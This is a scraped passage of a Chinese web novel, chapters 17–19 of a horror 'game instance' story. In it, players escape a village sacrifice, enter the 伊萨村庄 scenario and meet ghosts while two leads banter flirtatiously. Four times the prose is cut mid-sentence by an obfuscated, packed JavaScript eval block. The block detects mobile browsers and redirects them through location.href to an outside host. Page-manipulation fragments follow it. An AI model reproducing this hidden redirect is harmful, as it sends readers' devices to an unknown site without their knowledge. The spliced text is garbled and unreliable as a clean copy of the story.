一阵急促的脚步声由远及近,嵇无樾来不及思考,立马环住黎向辞的腰带他从窗户跳了出去。 黎向辞被冷风直面一吹,精神恢复了不少,从刚开始被带着小跑变为了和嵇无樾并肩往前跑。 两人以最快的速度撤出了那群人的视线范围。 “不好了,那个家伙杀了押着他的随从跑了!”老祭司着急忙慌地敲门,结果许久都没有人应,情急之下老祭司只好命令几个猴头人把门撞开,迫不及待地冲进去:“为了以防万一,祭祀不能再拖——神女!!!” 在场的人都被地上女人死亡的惨状吓得不轻,老祭司更是声泪俱下地趴在地上哀嚎。 “我们将大祸临头!!”老祭司颤抖地指着外面逐渐下沉的天色,声嘶力竭地大吼:“发动全村人把那个祭品抓回来!!日落之前!!” - 两人隔着老远都听到了屋子方向传来的怒吼,他们加速跑出了后院,结果发现他们此时就在村长居住的地方,而门口仍聚集着不少茫然的村民,都好奇地往里探头。 嵇无樾脚步未停,带着黎向辞直直冲出了人群。 听到周围越来越多不满的声音,黎向辞这才意识到自己即将成为砧板上的鱼肉,而他又什么都看不见,不由得心生烦躁。 “还有多远到积分点。”黎向辞问。 “不算远,但是人越聚越多了。”被人群来回推挤的感觉并不好受,嵇无樾的脸色也逐渐变得阴沉。 听到声响赶来凑热闹的村民将两人前面的路堵的水泄不通,正当嵇无樾忍不住想拼个鱼死网破的时候,一无所知的胡林枫出现在了他们面前。 胡林枫本来是要质问他们为什么要撒谎,但是在看到有些狼狈的两人后话音一转,问道:“发生什么事了?” “先别废话,带我们去积分点。”嵇无樾说。 虽然不明白嵇无樾说这话是什么意思,但是胡林枫难得在他脸上看到严肃的表情,瞬间就明白他们八成惹上不该惹的事情了。 他点头:“我叫人给你们开路。” 在胡林枫招呼小弟驱散人群的时候,身后追出来的猴头人发现了他们的踪迹,握紧武器直奔他们而来。 “抓住那个白色衣服的青年!!”猴头人边跑边喊,“不然我们都将大祸临头!!” 村民们闻声而动,距离他们近的人更是疯狂地朝着黎向辞扑了上去,不过都被嵇无樾连同胡林枫踹倒了。 胡林枫夺过一个村民手里的叉子,怒道:“你就是这么保护向辞的?!” “都这时候了,你能不能别再落井下石了!”嵇无樾一边护着黎向辞,一边回瞪了回去,“我他妈知道他们会把他当祭品啊!” “什么?!”胡林枫拧眉,“你们到底干什么去了!” “关你屁事!” 两人边打边斗嘴,最后终于在胡林枫小弟的掩护下跑出了包围圈,拼尽全力朝积分点跑去——也就是一个贴着封条的小型佛堂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716943|157160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冉春已经在门口等着了。 见到行色匆忙的众人,冉春惊讶道:“你们……” “进去再说。”胡林枫粗暴地揭下封条,待三人进去后却突然转身朝村民的方向跑去。 “你干什么!”嵇无樾喊。 胡林枫头也不回:“我要确保我队伍每一个人的人身安全!” “草。”嵇无樾扬眉,“还挺帅。” 冉春点头如捣蒜。 耗费体力的追逐战暂且算结束了,黎向辞从嵇无樾的怀抱中挣脱出来站到了一边,“这个积分点需要几个人?” 嵇无樾看了眼手环,说:“十个。” “那我们人数正好。”黎向辞说完却忽然意识到了不对,他叫了一声“冉春”,问:“李祈昭呢?” “不知道。”冉春摇头,“他没跟我一起过来。” “坏了。”嵇无樾说,“他不会还在原来那个双层小楼里睡觉吧?” “有可能。”黎向辞蹙眉。 人数不够,积分点就无法开启,那群村民一定会上来把他们撕成碎片的。 嵇无樾刚想说他回去找人,就看见那群饿狼般的村民追着胡林枫一行人跑了过来。 待胡林枫和几个小弟冲进积分点,嵇无樾眼疾手快地把佛堂的门关上,然后和他们一起抵着门防止被外面暴动的村民砸开。 胡林枫环视一圈,没有看到李祈昭的身影。 他啐了一口痰,愤愤道:“我就知道那家伙靠不住,作为一个男人,柔柔弱弱就知道哭,活着从副本出去也成不了大事!” “少一个人是不争的事实,就算你骂破了天也没用。”嵇无樾说,“还是省点力气多撑几分钟吧,万一有奇迹呢。” “那我们该怎么办啊!总不能在这里等死吧?”冉春急得团团转,“外面的村民那么多,我们又突围不出去,能不能凭空变一个玩家出来啊……” “能。”黎向辞打断她。 “什么?”冉春一愣,有些害怕地吞咽了下,“在哪里?” “副本判断一个人是不是玩家的依据是什么?”黎向辞问。 冉春疑惑地眨了眨眼睛,刚想说不知道,一旁的嵇无樾却抢先开口:“手环。” “对,手环。”黎向辞肯定道,“我们或许可以卡个bug。” 嵇无樾眉梢一跳,嗓音带笑:“什么bug?” “放一个村民进来,想办法让他摘掉一个人的手环,然后那个人在村民把手环握在手里的同时抓住手环的一角,让副本在检测到手环被抢的同时营造出两个玩家的假象,说不定这样就会凭空多出来一个玩家。”黎向辞扬眉,“你们觉得呢?” 胡林枫有些犹豫:“但是万一不行,又激起了外面村民更大的怒意……” “不行再说咯,有好办法总要试试。”嵇无樾笑道,“而且我老婆这么聪明,这招一定管用。” 胡林枫:“……”真是服了这些不理智的恋爱脑。 一直这么僵持下去也不是办法,最后众人还是一致同意了黎向辞的说法,毕竟这个办法听起来利大于弊,一旦成功就可以全身而退。 小弟们依次离开门边,最后只剩下嵇无樾和胡林枫两个人抵在即将被冲破的门板上。 两人对视一眼,同时起身,在第一个村民被挤进来之时其余所有人再顶上去,最后成功将其余一众村民抵挡在外。 这个村民刚一进门就发了疯般地无差别袭击,直到嵇无樾把他按在地上,才发现他的脸色已经完全变了,像是中毒了一样嘴唇和眼眶发黑,整个人看起来与僵尸无异。 “什么狗屁大祭司,控制人的手段不就是下毒么。”嵇无樾把戴着手环的手在村民面前晃了晃,他立马嘶吼着挥舞双手去扯,而嵇无樾则在手环脱离手腕后的第一秒便熟练地抓住了手环一角。 熟悉的眩晕感袭来,机械音久违地响起。 [人数已达标准,推演载入中……] [载入成功] [推演名称:伊萨村庄] [推演等级:C] [推演积分(总计):20/25] [故事背景:民间传言,伊萨村庄数年来的诅咒都来源于一个叫阿捷的女人……] 17. C-伊萨村庄 阿捷,阿捷,你不要躲啊。 阿捷,阿捷,去那里找他。 阿捷,阿捷,这样就对呀。 阿捷,阿捷,痛苦消失啦。 …… 哒,哒,哒。 雨滴匀速地落在车顶,清脆的声响扰乱密林中的寂静。 黎向辞猛地从方向盘上惊醒,眼前不再是一片漆黑,而是真切地透过车内镜看到了自己清晰的五官。 居然卡bug成功了,连他自己都没想到。 手指忽然有被灼烧的感觉,黎向辞手一颤,夹在指缝间即将燃尽的烟蒂被抖落在地。 他呼出一口气,踩灭烟蒂,抬眼发现周围满是浓雾,可见度甚至比第一个积分点的时候还要低。 老人们常说,路上起大雾一般是撞邪了,必须要停下来等一等再出发,不然驶上阴阳路可就再也回不来了。 车内的温度有点低,黎向辞捣鼓了半晌制热系统,结果吹出来的是冷风,激的他起了一身鸡皮疙瘩。 黎向辞关掉冷风搓了搓胳膊,开始研究自己的身份。 他在副驾驶的车座下面找到了上山的路线图和一封信,落款处写的是:伊萨村村长。 [村子里唯一的那台车坏了,听闻您是镇上最有名的修车师傅,特拜托人寄出这封信,希望您能来村子一趟,顺便还能参加村子里一年一度的洗礼盛典(自愿参加),车修好后将重谢——伊萨村村长,林淏] 黎向辞把信收好,左边的车窗忽然啪的响了一声。 他抬眼,看到水汽朦胧的车窗上赫然出现了一只小手的手掌印。 紧接着又是沉闷的几声响,车窗上再度浮现出两个小手印,看起来大小不一,像是不同年龄段的孩子按上去的。 黎向辞伸手抹去车窗上的水雾,透过玻璃模糊地看到一条小河,小河旁只有一棵长歪了的大树,上面似乎垂着什么东西,正在轻轻随着风前后晃动。 他眯起眼睛想再看仔细些,一个衣着单薄的小男孩忽然从雾中走了出来,眼睛一眨不眨地看着他。 小男孩的眼白很少,漆黑的眼珠子盯的人有些瘆得慌。 黎向辞靠回椅背上,本想闭目养神等雾散,结果只是眨了下眼的功夫,原本在车左侧的小男孩竟然瞬移到了车前,并且身旁多了个更加矮小的小女孩。 两人同时伸手指向他。 黎向辞蹙了下眉,一时间有些分不清他们是在跟他打招呼还是在说他身后有东西。 他扶正车内镜,佯装漫不经心地整理头发,余光却向身后瞟去。 在看到蹲在后备箱上往车里望的第三个孩子后,黎向辞的表情变得有些复杂。 搞了半天,这三个小东西是在跟他玩躲猫猫? 全找到会有奖励么? 正想着,车前的两个小孩子忽然开始缓慢地往他的车上爬,黎向辞这才注意到他们的手掌和脚掌是反的,都是用手背按在车前盖上,用脚后跟笨拙地往上爬。 小雨依旧在下,车身湿滑,它们爬到一半就会滑下去,然后一刻不停地继续往上,看起来心酸又诡异。 ……如果是这种奖励还是算了。 眼看雾气即将散去,黎向辞也不想再跟这三只小鬼浪费时间,打开雨刷点着火一气呵成,一脚油门下去,前面的两只小鬼就被甩出去老远。 结果车刚滑出去,后备箱上的小鬼突然出现在了前面的小路上,伸长胳膊做拦截状。 从这种东西身上碾过去总归是不详的,黎向辞压了下嘴角,被迫踩了刹车。 他敲了三下挡风玻璃,想试试能不能把这只小鬼从路上驱赶走。 谁料它倏地咧开没有舌头的嘴哭了起来,不过从眼角流出来的不是眼泪,而是红黑色的血。 它的哭声沙哑悲怆,听起来极度不舒服。 窗户在此时又被猛地拍了几下,黎向辞有些不耐烦地看过去,却意外地看到原先挂在树上的东西不知何时掉了下去,正直直地站在地上,形状很似套着麻袋的人。 三个小孩子整整齐齐地并排走到黎向辞面前,边倒着走边冲他勾手,明显就是想让他跟着下车去那棵大树旁。 原来是想把他骗出去杀,年龄不大心眼还挺多。 黎向辞盯着它们看了几秒,随即猛踩油门驶离了这段路。 前面是狭窄崎岖的山路,这辆车的各项功能比较落后,跟黎向辞现实中经常开的现代车根本没法比,外加蒙蒙雨有些干扰视线,他即使开的很缓慢,轮胎也打滑了好几次,险些翻进沟里。 其实他有些想不明白,一个镇上名气最大的修车师傅,怎么会为了一个只有一辆车的穷村子跋山涉水,不仅危险还浪费油钱,除非最后给的报酬足够多——但是一个连车都买不起的村子能给多少报酬?这怎么看都是一笔亏本买卖。 黎向辞不禁开始怀疑“自己”去伊萨村的真实目的,说不定就是奔着信中所说的洗礼盛典去的。 听名字,似乎是什么可以洗涤灵魂的法事,黎向辞其实对“洗涤灵魂”还挺好奇的,毕竟谁都想死了之后可以上天堂。 车快开到村子的时候雨已经完全停了,黎向辞隐隐听到了从里面传出的猴子嬉笑打闹的声音。 继续往前开了一段距离,刻着“伊萨村”三个字的木牌出现在眼前。 令黎向辞没想到的是,竟然有人特地在村门口等他,而且其中有一个人就是穿着村民衣服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716944|157160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、正在跟旁边一个老头说说笑笑的嵇无樾。 不知道为什么,他觉得嵇无樾穿这身古朴的衣服显得顺眼多了,至少看起来很老实。 听到汽车的轰鸣声,嵇无樾第一个抬头,在看到车里的人果然是黎向辞后玩味地笑了下,然后缓缓举起手做了个舔手指的动作。 黎向辞脚下一滑,差点开着车撞过去,幸好最后克制住了,把车停在了距离嵇无樾只有一米的地方。 迎接他的村民都被吓了一跳,等缓过神之后黎向辞已经开门下车了,并且用口型骂了嵇无樾一句混蛋。 嵇无樾欣然接受,并且对着他来了个隔空亲亲,笑道:“真是辛苦小师傅大老远跑来了。” 黎向辞没搭理他,转身跟着簇拥上来的村民进了村子。 即使天色已晚,但村子里的人都在不知疲倦地忙碌着不久后盛典的准备工作,村子中央的空地被一个用猴子头骨摆出来的祭坛占满,各种新奇古怪的小玩意儿被整整齐齐地挂在各家各户的房檐上,就连家禽身上都缠着款式不同的花环,由此可见村民对这场盛典的重视程度。 “热闹吧?这个盛典可是我们每年最期待的。”带头的村民说,“平时村长是严谨外人参加盛典的,你真是幸运啊。” 黎向辞问:“为什么?” 村民说:“哎呀,我一个小村民怎么会知道村长的想法,他老人家吩咐什么我们照做就是了,他又不可能害我们。” “说得对。”黎向辞笑笑,“其实你们才是最幸运的,能遇到这么好的村长。” “是啊,村长简直就是我们所有人的救命恩人。”村民语气里满是崇敬,“不然那件事发生之后,我们……” 话还没说完,一开始跟嵇无樾谈笑风生的老头就表情严肃地捅了下他的胳膊,他立马噤声,歉意地对黎向辞颔首。 黎向辞耸耸肩表示没关系。 “不好意思,这是我们村子里的秘密,是不能讲给外人听的。”老头加快了脚步,“看这天色,估计一会儿又要下雨了,抓紧时间先看一下车怎么修吧。” 黎向辞说:“没问题。” 被带着走了没多远,黎向辞就在一个简陋的遮雨棚下面看到了那辆要修的车。 他上前粗略地检查了一圈,发现车子只是发动机老化不能用而已,其余功能一切正常。 黎向辞说:“没什么大问题,我后备箱里应该有新的发动机,我去拿过来换上。” 闻言,村民们却纷纷露出了奇怪的表情,仿佛是在质疑他是否真的要这么做。 几秒后,那个老头忽然开口说—— “你真的是来修车的?” 黎向辞:“?”难道不是吗? 18. C-伊萨村庄 面前村民的神情一个赛一个的怪异,黎向辞察觉到了他们并不想让自己离开他们的视线范围,但又猜不出具体的原因,所以他下意识看向站在最后排自己唯一熟悉的人——嵇无樾。 结果嵇无樾只是像老实人一样揣着手冲他笑,最后被瞪了才耸耸肩用口型道:“我什么都不知道。” 黎向辞:“……”真是受够了。 “你怎么不说话?”老头直勾勾盯着他。 黎向辞说:“……想上厕所,憋的说不出话。” “哦。”老头的语气毫无波澜,听起来一点都不像恍然大悟,倒更像是在故意为他开脱,“所以你刚才其实是要找茅房,而不是去找发动机对吧?” 既然重要NPC都开口了,那黎向辞自然没话说。 “对。”他故作腼腆地笑了下,“我这个人脸皮薄,不好意思当着这么多人的面说我内急,只好随口编个理由,给您添麻烦了。” 老头阴恻恻斜了他一眼,说:“走吧,我带你去找茅房。” 黎向辞虽然觉得他的眼神不善,但比起不尴不尬地在这里跟其余几个干瞪眼,最后还是跟着老头走了。 又在村子里绕了大半圈,老头指着面前一个没有屋顶的漆黑草屋说,“要解决的话就快点,这个点最容易碰到那种东西。” 黎向辞:“?” 黎向辞:“什么?” 话音未落,老头倏地揪着他的衣领把他拽到跟前,森然地露出一口大白牙,“你是真的很蠢,怪不得派我跟着你。” 黎向辞:“ 。” 这难道不是作为一个正常人应该有的反应么?那可是他在心里反复斟酌后才表演出来的疑惑啊。 “这里除了我的主人没有人相信你,包括村长。”老头恶狠狠地扯了下他的衣领,“如果你再因为犯蠢发生类似的事情,我绝对不会再帮你了。” 怎么还玩上主仆情深这一套了。 黎向辞见这人不好套话,于是笑着拍了拍他的手背,“消消气消消气,我下次会注意的。” “最好不要有下次。”老头冷哼一声放开手,随即鄙夷地瞥他一眼,说:“还上茅房吗?” “您看我还有那个必要吗?” “……回去吧。” “遵命。” 待两人回到停着车的棚子,原先在村门口一起迎接他的村民已经被嵇无樾打发回去了好几个,最后只剩下一个看起来很腼腆的年轻人和正在傻笑的小胖子。 黎向辞不用想就知道,嵇无樾肯定是留了两个最好套话的——这点倒是跟他不谋而合。 “他们人呢?”老头问。 “夜里这么凉,我怕冻着他们,就让他们先回去了。”嵇无樾笑道,“没事的武叔,修车师傅有我们三个招待就可以了,您年纪大了,也赶紧回去吧。” 闻言,这个被嵇无樾称为武叔的老头犹豫了几秒,紧接着叹了口气,对在场的人摆摆手,“行了,天色也不早了,你们把修车师傅送到住的地方后就也各自回家吧——”说罢,他上前拍了拍嵇无樾的胳膊,“你跟我来一下。” 嵇无樾道了声好,暗中对着黎向辞抛了个媚眼,然后屁颠屁颠跟上去了。 不知道是不是错觉,黎向辞总觉得这个武叔有点忌惮嵇无樾,不过是一个拙劣的借口和随口的一句话,这个刚才还在威胁他的老头子竟然轻易相信了,甚至还听取了他的意见。 看来嵇无樾这次的角色身份很不一般,要尽快找机会跟他单独聊聊。 黎向辞回过神,一抬眼,正巧跟那个腼腆的年轻人四目相对。 年轻人先是一顿,随即脸颊通红地移开了目光。 黎向辞走过去,把手轻轻搭在他的肩膀上,歪着头冲他笑:“怎么称呼?” “阿、阿丑。”那抹红晕一路从年轻人的脸上蔓延至耳根,说话磕磕巴巴的:“他、他是小包,包子的包。” 旁边的小胖子点头如捣蒜,“小包,包子,嘿嘿。” 黎向辞冲小包扬了扬下巴,然后自然又亲昵地搂着年轻人的脖子绕至另一侧,轻声念了句他的名字。 “阿丑。” 温热的气息落在阿丑的耳廓上,他立马宛如触电般地绷直身体,“在、在!什么事!” “放松,我只是确认你的名字而已。”黎向辞伸手握住他的胳膊捏了捏,“为什么叫阿丑?是因为在丑时出生的吗?” “当然不是啦,是因为他长得丑!”小包哈哈大笑。 阿丑的脸憋的更红了。 黎向辞伸手碰了下他滚烫的耳垂,他极为敏感地瑟缩了一下,身体开始微微颤抖。 “我觉得不丑啊。”黎向辞笑着掰过他的脸仔细端详,“小脸大眼睛……这种长相如果放在小镇上,不论男女绝对都抢着要跟你结婚。” 阿丑结巴道:“不、不行,村长说镇子上有很可怕的东西,他不会让我们下山的。” “是吗?”黎向辞佯装惊讶,“可是我在镇上生活几十年了,从来没见过什么可怕的东西啊。” “那是因为你是什么狗屁的冒牌通灵师,就算技术再差也不能怕鬼!”小包冲他做鬼脸。 “狗屁的也就算了,凭什么说我是冒牌的啊?”黎向辞不爽道,“小朋友,饭可以乱吃,话可不能乱讲。” “谁乱讲话了,我听我妈说的。”小包不服,“她还说你根本就看不到阿捷母亲的鬼魂,村长叫你来是让你表演节目给我们看的。” 好一个“表演节目”,杀伤力够强。 “谁说我看不到?”黎向辞意味深长地笑了下,伸手指了指他的背后,“喏,它就在车里盯着你看呢。” “我才不……”小包话音未落,身后倏地传来一阵彻骨的凉意,冰的他半边身体都麻了。 黎向辞注意到了他的异样,刚要开口说些什么,小包忽然惊叫一声拉着阿丑一溜烟跑了。 “它真的来了!!” 黎向辞眯了下眼,目光移向已经落了一层厚厚灰尘的副驾驶坐上,头顶昏暗不堪的灯光恰好在车座上投出一小片阴影,看起来就像是正有人坐着听他们聊天。 盯着那片阴影看了没多久,他便没来由地感觉心脏猛地一坠,就像是从高空掉下去了一样。 黎向辞痛苦地闷哼一声,一只手堪堪扶住车身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716945|157160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弯腰缓解这股来自心脏的强烈不适感。 轰隆! 一声闷雷响起,倾盆大雨瞬时而下,黎向辞眼前亮了刹那后便又暗下去了,噼里啪啦的雨声惹的他太阳穴突突直跳。 黎向辞艰难地呼出一口气,刚准备直起身体,却看到面前多了一双泥泞和血污混杂的脚。 他动作一顿,微不可察地往后退了两步。 结果那双脚也跟着往前,并且每走一步,就会有汩汩鲜血顺着它的小腿流至地面,最后融进雨水。 难道“自己”真的会通灵?那小包口中的“冒牌”是怎么回事? 黎向辞抬眼,发现面前站着的是一个半边身体都被碾碎了的老妇人,她的脸色苍白,浑身都被泡的发胀,身上甚至还挂着水草,活脱脱像是一个来索命的水鬼。 老妇人见黎向辞能看的见自己,顿时发出焦急的呜咽,摇摇晃晃地想再靠近他一些。 黎向辞觉得老妇人发出的声音奇怪,干脆伸手捏住了它的下巴,口腔里果然空荡荡的没有舌头,只有可怖的截断伤口赤/裸/裸地露在外面。 “我问你几个问题,你只用点头或者摇头。”黎向辞说,“第一个,你是阿捷的母亲?” 老妇人没点头也没摇头,只是更为急躁地晃动胳膊,似是有重要的话要说。 黎向辞蹙了下眉,抬手帮它把已经断了一半的胳膊从肚子里拿了出来。 老妇人尤为吃力地抬起胳膊,歪歪扭扭地在挡风玻璃上写下了两个字母。 黎向辞歪着头仔细辨辨认了几秒,随后难以置信地压低眉头,“RC……你是冉春?!” 老妇人神色激动地点了点头。 不是吧?还能这么玩? 黎向辞表情复杂地打量面前人不人鬼不鬼的东西,说:“你是刚从水里跑出来?” 老妇人继续点头。 “你知道你是谁吗?” 冉春摇头。 “怎么死的还记得吗?” 冉春再次摇头。 “好了,最后一个问题。”黎向辞问,“你怎么知道我在这里?” 冉春伸手指了指他,又指了指自己,然后用那只断了的胳膊在空中比比划划,身上的水和血甩了黎向辞一身。 “……”黎向辞伸手把她的胳膊强行按了下去,说:“行了行了,等明天给你找一个牛舌头试试能不能接上去。” 冉春乖巧点头。 再度下起大雨后,街上仅剩的村民也都纷纷找东西遮着脑袋跑回了家,黎向辞站在棚子下面望着眼前的雨幕看了半晌,思绪不自觉飘向了那个也许会闹鬼的茅厕。 从踏入村子后的这不到两个小时的时间,黎向辞已经看出来伊萨村庄的村民都异常迷信,所以武叔说的有鬼不一定是真的有鬼,也许只是心虚导致的草木皆兵,又或许是有什么线索隐藏在里面。 黎向辞思索了片刻,然后笑着看向缩在角落里的冉春。 “要不要跟我一起去上茅厕?” 冉春:“???” 这合理吗?!万一被那个骚骚的大佬看见,她一定会被杀人,不,杀鬼灭口的!!! 19. C-伊萨村庄 黎向辞随手抄起一个村民挂在屋檐下的雨伞,踩着忽明忽暗的闪雷往那个传说闹鬼的茅厕走。 冉春就步履维艰地缓慢跟在他身后。 雷声轰鸣,一个撑着伞的身影颀长的青年在前面慢步走着,一个走路姿势诡异的老妇人远远地跟着。 明明是尤为可怖的一幕,但由于黎向辞周身那股悠闲但强大的气场,竟看起来像是凯旋而归的驯鬼师。 那个茅厕没有屋顶,等他们抵达的时候,门已经被大风刮开了,一个黑压压的大坑孤零零地露在外面,里面浸满了雨水。 这么一小块地方能闹什么鬼? 黎向辞往前走了几步,在即将进入茅厕门的一瞬间,身后的冉春忽然“啊啊啊”地喊叫了起来,混杂着巨大的雷雨声消散在风中。 黎向辞并没有听到她焦急的喊声,一只脚已经跨进了门里。 就在他前脚刚落地的瞬间,一只肿到发紫的手凭空出现,直直地往他肩膀上按—— “哎,”黎向辞忽然后退一步回头,“我突然感觉我现在有点像恐怖片里作死的主角——你怎么了?” 冉春此时急的手舞足蹈,原本就糜烂的身躯随着她的动作抖下一堆碎肉。 “啊,啊,啊。”她费力地举起断臂指向黎向辞的肩膀,嗓子里急促的“嗬嗬”声减弱了不少。 黎向辞偏头看向自己的肩膀,果不其然看到了一个黑色的手印,似是有人沾了煤灰拍上去的。 他三两下拍掉手印,绕着茅厕环顾四周,并没有发现任何异常。 看来只有在踏进门后才会撞邪。 真不敢想象,如果他刚才没有及时回头的话会发生什么,说不定就已经被按进水坑里淹死了。 关于这个茅厕的事情还是打听打听再来吧。 黎向辞最后看了一眼灌满水的水坑,然后用脚把门重重踢上了。 “走吧,没什么好看的。”他说。 冉春点头。 由于黎向辞不知道村长给他安排休息的屋子在哪里,他只好敲响了一个村民的家门。 “修车师傅是吧?”村民睡眼朦胧地打量了他一遍,随后伸手指着一个方向,“在那里左转,然后直走一段路,最后一间屋子就是给你住的。” “谢了。”黎向辞礼貌颔首。 “不用谢……哎哎哎,你手里那把雨伞怎么那么眼熟?你给我回来!!” 黎向辞充耳不闻。 这村子小,没走几分钟就到住的地方了。 那间屋子似乎是匆忙间收拾出来的,处处透着敷衍的气息,但好在干净整洁,黎向辞简单检查了一下屋子的漏雨情况,随后便上床睡觉了。 冉春在屋子里转了一圈,最后选择背对着黎向辞蹲在角落里无聊的数鸭子。 第二天一大早,一个村民来敲黎向辞的屋门,说村长想见他,黎向辞笑着应下了。 冉春行动不便,黎向辞也没等她,交代了一句“慢慢跟上来就行”后便出门了。 走至村广场,黎向辞看见了正在帮村民搬东西的胡林枫以及他的几个小跟班。 胡林枫也看见了他,刚想把手里的铁箱子放下去打招呼,就被嵇无樾捷足先登、挡在了他们中间。 “小师傅,早上好。”嵇无樾很自然地把胳膊搭在了黎向辞肩膀上,扯着嘴角扶了扶架在鼻梁上的金框眼镜,“好看吗?有没有斯文败类那种禁欲感?” 黎向辞用眼尾扫了他一眼,“傻。” “你这个没良心的,知道我戴着这副眼镜村子里有多少人过来搭讪吗?差点造成村内交通堵塞。”嵇无樾说着便抬手跟一个正趴在墙角偷看他的小姑娘打了个招呼,那小姑娘立马红着脸抱着妈妈跑走了。 “我好不容易才从人堆里挤出来见你,你竟然说我傻。”他笑着把眼镜摘下来放进了胸前的口袋里,“算了,你觉得不好看那我就不戴了,听老婆的话迟早会发财。” 黎向辞沉默了几秒,倏地扭头看向他,两人的呼吸瞬间缠绕在一起。 嵇无樾冷不防被吓了一跳,条件反射往后退了点,盯着面前青年的嘴唇吞咽了下,说:“又想打我啊?” “不敢,怕把你打爽了。”黎向辞用手推开他的脸,“我觉得你入戏太深,老婆叫的太顺嘴了,记得改一下。” 嵇无樾说:“不改,万一叫着叫着你真成我老婆了呢,那我就赚大发了。” 黎向辞:“……” 嵇无樾最喜欢黎向辞露出这种略微不耐烦却又无话可说的表情,因为这会让他天生冷然的五官看起来有几分莫名的柔软和生动,看久了很容易让人产生欲/望。 “怎么样,考不考虑假戏真做?”嵇无樾直起腰暧昧地垂着眼将他完全挡在身前,“我这人什么都干不好,但床上技术绝对一流,你跟着我不会吃亏的。” 黎向辞对着他身后一抬下巴,“不了,约/炮去找墙角靠着的那个,我暂时没功夫陪你玩。” 嵇无樾回头,正对上蹲在墙角休息的胡林枫狐疑的眼神,他嫌恶地打了个寒颤,刚想说跟他做还不如去死,就发现黎向辞已经头也不回地走出去老远了。 迟早让你自己送上门求着我上。 嵇无樾玩味地勾了下嘴角,随后双手插兜懒洋洋地跟了上去。 “小师傅,等等我啊。” - 村长家就在他进积分点前逃出来的地方,不过在这里整体要更简朴和有生活气息一些,甚至还有被人精心照料的花花草草,比在外面的时候温馨多了。 黎向辞站在门口朝院子里张望,一个大学生模样的女生就从屋子里出来了。 他蹙了下眉,觉得女大学生的五官跟那个强迫他的女人长的很像,只是看起来更加稚嫩和单纯。 “昨天休息好了吗?”女生问,“如果还感觉累,可以回去睡个回笼觉再过来。” “没关系,正事要紧。”黎向辞说。 女生说:“那好,跟我来吧。” “亦沁,我带他进去找村长吧。”一直跟在身后的嵇无樾笑着上前,故技重施地挤在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716946|157160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人中间,“刚刚有人说祭坛被昨天晚上的大雨冲坏了,让我叫你去看看。” 陈亦沁表情僵了一瞬,目光忍不住在黎向辞脸上看了又看,“……现在?” “对,我这个村野莽夫哪能看懂祭司画的设计图,还是得上过学的文化人去。”嵇无樾说,“而且万一你后面把修补祭坛的事情忙忘了,耽误了盛典,村长肯定又要骂你了。” 嵇无樾“又”字咬的很重,虽然唇角带笑,但听起来仍有些许威胁的意味。 听到这话,陈亦沁的身体小幅度地抖了一下,最后只得僵硬地点了点头,说:“好,我这就过去。” 待陈亦沁走远后,黎向辞问:“她经常被村长骂?为什么?” “关你什么事!”嵇无樾冷哼,“你怎么能当着老公的面关心别的女人呢?” 黎向辞:“?” 他猛地一抬手,嵇无樾立马调回了嬉皮笑脸的正常模式,“你说的没错,她就是经常被骂。” “原因。”黎向辞说。 “没什么原因,村长就是平等地看每一个外来人不顺眼,只要她犯一点小错,就会被骂的狗血淋头。”嵇无樾说,“昨天你还没来的时候,她不小心把水杯里的水撒地上了,村长骂了她一个小时,还让她在雨里站了好久。” 黎向辞说:“刚才听你话的意思,她应该是刚大学毕业、被学校派过来做支教之类活的吧?” “天啊,你竟然那么认真地听了我的每一句话,好感动……对,你说的没错。”嵇无樾清了清嗓子,站的距离黎向辞已经握起来的拳头远了几公分,“她目前的工作说好听点是‘村长助理’,说难听点就是免费苦力,什么脏活累活村长都让她干,久而久之那些村民也都习以为然了,有点事情就会喊她帮忙。” 嵇无樾愤愤地“呸”了一声:“真是一群禽/兽。” “确实,世界上居然有比你还禽/兽的人。”黎向辞瞥他一眼,“你说的这些都可靠吗?不会是你瞎编的吧?” “当然可靠,我连我自己的身份都已经完全扒出来了,还知道了一个村子的小秘密。”嵇无樾目不转睛地看着他,眼睛里写满了希望他继续问的期待。 